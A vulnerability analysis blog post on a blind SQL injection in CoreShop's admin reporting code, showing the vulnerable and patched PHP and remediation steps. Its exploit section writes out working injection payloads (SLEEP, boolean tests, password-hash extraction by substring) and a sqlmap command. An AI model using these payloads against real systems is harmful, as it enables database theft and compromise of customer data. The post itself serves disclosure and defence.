CoreShop Admin SQL Injection: When "Trust Me, I'm Admin" Goes Wrong
Jan 8, 2026·7 min read
Executive Summary (TL;DR)
CoreShop developers mixed prepared statements with direct string concatenation in their report generators. This allows authenticated admins to inject arbitrary SQL via the 'store' parameter. While it requires high privileges, it enables full database exfiltration, bypassing internal data segregation controls.
A blind SQL injection vulnerability in CoreShop's admin reporting modules allows authenticated administrators to extract sensitive database information via unsanitized parameter concatenation.
The Hook: The Soft Underbelly of Admin Panels
There is a pervasive myth in software development that code running behind an authentication wall needs less scrutiny than the public-facing frontend. You see it all the time: rigorous input validation on the login form, but absolute chaos once you're inside the dashboard. "Who's going to hack us? The marketing intern?" they ask.
CoreShop, a popular e-commerce framework for Pimcore, fell victim to this exact line of thinking. While the frontend allows customers to buy widgets securely, the backend reporting tools—designed for store managers to analyze sales and abandoned carts—were hiding a classic vulnerability.
The issue lies in how reports are generated. When an admin asks, "Show me sales for Store #1," the application constructs a massive SQL query. In a perfect world, this request is treated with suspicion. In CoreShop's world, the application simply nodded and pasted the request directly into the database command. This creates a perfect storm for a bored or malicious insider to turn a simple sales report into a full database dump tool.
The Flaw: A Sandwich of Security and Stupidity
The technical root cause here is what I like to call a "Security Sandwich." The developers were clearly aware of SQL injection risks because they used Doctrine DBAL's prepared statements for some parameters. However, for reasons known only to the gods of legacy code, they decided to manually concatenate other parameters directly into the query string.
The vulnerability is a textbook Blind SQL Injection (CWE-89). It resides in multiple report classes, such as SalesReport.php and AbandonedCartsReport.php. The code retrieves the store ID from the HTTP request and drops it straight into the WHERE clause without sanitization.
Here is the logic flaw: The code uses ? placeholders for dates (orderDate), which is good. But right next to it, it uses string interpolation for $storeId. It's like locking your front door with a deadbolt (the prepared statements) but leaving the living room window wide open (the concatenated variable). Because the injection happens inside a SELECT statement that returns data to a grid, the attacker can't necessarily see the error messages (Error-based SQLi), but they can manipulate the results to ask the database true/false questions (Boolean Blind) or make it sleep (Time-based Blind).
The Code: The Smoking Gun
Let's look at the vulnerable code in src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php. This snippet is a masterclass in inconsistent security practices.
The Vulnerable Code:
// fetching the input directly from the request bag
$storeId = $parameterBag->get('store', null);
// Constructing the query
$sqlQuery = "
SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
FROM object_query_$classId AS orders
WHERE orders.store = $storeId <-- HERE IS THE BUG
AND orders.orderState = '$orderCompleteState'
AND orders.orderDate > ? <-- Correctly bound
AND orders.orderDate < ? <-- Correctly bound
GROUP BY " . $groupSelector;
// Executing the query mixed with bound parameters
$data = $this->db->fetchAllAssociative($sqlQuery, [$fromTimestamp, $toTimestamp]);Notice specifically orders.store = $storeId. If $storeId is 1, the query works as intended. If $storeId is 1 AND (SELECT SLEEP(10)), the database takes a nap. The developers were so close to getting it right—they even used an array for $fromTimestamp and $toTimestamp! This partial implementation is often more dangerous than total negligence because it gives code reviewers a false sense of security.
The Fix (Commit 59e84fe):
The patch effectively switches to named parameters. Instead of blindly trusting the input, the query now uses :storeId, and the value is passed safely in the parameters array. They also added explicit integer casting (int) to the limit and offset variables, which is a robust defense against injection in LIMIT clauses where prepared statements sometimes fail depending on the driver.
$sqlQuery = "
...
WHERE orders.store = :storeId
...";
$data = $this->db->fetchAllAssociative($sqlQuery, [
'storeId' => $storeId,
'fromTimestamp' => $fromTimestamp,
...
]);The Exploit: Data Extraction via Twenty Questions
Since this is an authenticated Admin vulnerability, the attacker is likely a compromised staff account or a rogue employee with "Store Manager" permissions who wants to access data from other stores or dump the users table.
Because the application expects to return a JSON or HTML dataset for a chart/grid, we likely won't see the output of our injected command directly rendered in the 'Sales Total' column. Instead, we use Boolean Inference.
Step 1: The Baseline
First, we make a valid request to confirm we have access:
GET /admin/coreshop/report/get-data?report=sales&store=1
Result: HTTP 200, returns a JSON object with sales data.
Step 2: The Boolean Test
We inject a condition that is always TRUE:
GET /admin/coreshop/report/get-data?report=sales&store=1 AND 1=1
Result: HTTP 200, returns the same data. The query logic held up.
Now, we inject a condition that is always FALSE:
GET /admin/coreshop/report/get-data?report=sales&store=1 AND 1=2
Result: HTTP 200, but returns an empty dataset (or zeroes). The AND 1=2 forces the WHERE clause to fail for every row.
Step 3: The Data Exfiltration
Now we can play "20 Questions" with the database. Suppose we want to steal the admin password hash. We can check the first character of the password.
store=1 AND ascii(substring((SELECT password FROM users LIMIT 1),1,1)) > 100
If the result returns data, the character's ASCII value is greater than 100. If it returns empty, it's less. We repeat this bit-by-bit until we have the entire database. Automation tools like sqlmap eat this for breakfast:
sqlmap -u "https://target.com/admin/coreshop/report/get-data?report=sales&store=1" \
--cookie="PHPSESSID=..." \
--dbms=mysql \
--technique=B \
--level=5The Impact: Why "Admin Only" Isn't Enough
You might look at the CVSS score of 4.9 and shrug. "It requires Admin privileges? Who cares? If they are admin, they own the site anyway!"
Not quite. CoreShop is designed for complex e-commerce setups. It supports multi-store environments. You might have a "US Store Manager" who should only see US sales data. With this vulnerability, that regional manager can escalate their view to see Global sales, customer PII from the EU store (GDPR nightmare), or dump the credentials of the Super Admin.
Furthermore, if an attacker gains access to a low-privilege account via a weak password or phishing, this vulnerability allows them to pivot from "I can see the dashboard" to "I can read the config.php database credentials" or "I can dump the customer credit card tokens." It bridges the gap between partial access and total compromise.
The Fix: Parameterize or Perish
The remediation here is straightforward, as demonstrated in the patch. The golden rule of SQL interaction is never trust user input, regardless of whether that user is an anonymous visitor or a logged-in administrator.
Remediation Steps:
- Upgrade CoreShop: Ensure you are running a version that includes the commit
59e84fec(released after Jan 7, 2026). - Audit Custom Reports: If you have built custom reports or extensions for CoreShop, audit them immediately. Look for variables inside double-quoted SQL strings (
"SELECT ... $var ..."). - Strict Typing: Cast integer inputs (IDs, limits, offsets) to
(int)immediately upon retrieval from the request bag. PHP's loose typing can be dangerous; forcing an integer type kills most SQL injection attempts dead in their tracks. - Least Privilege: Ensure your database user for the web application does not have
FILEpermissions. This prevents an attacker from using this injection to read files (LOAD_FILE) or write webshells (INTO OUTFILE), limiting the damage to data theft rather than server takeover.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
CoreShop CoreShop | < Jan 7 2026 Patch | Commit 59e84fec |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Blind SQL Injection |
| CWE ID | CWE-89 |
| CVSS Score | 4.9 (Medium) |
| Attack Vector | Network (Authenticated) |
| Affected Parameter | store, limit, offset |
| Exploit Maturity | PoC Available |
MITRE ATT&CK Mapping
The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.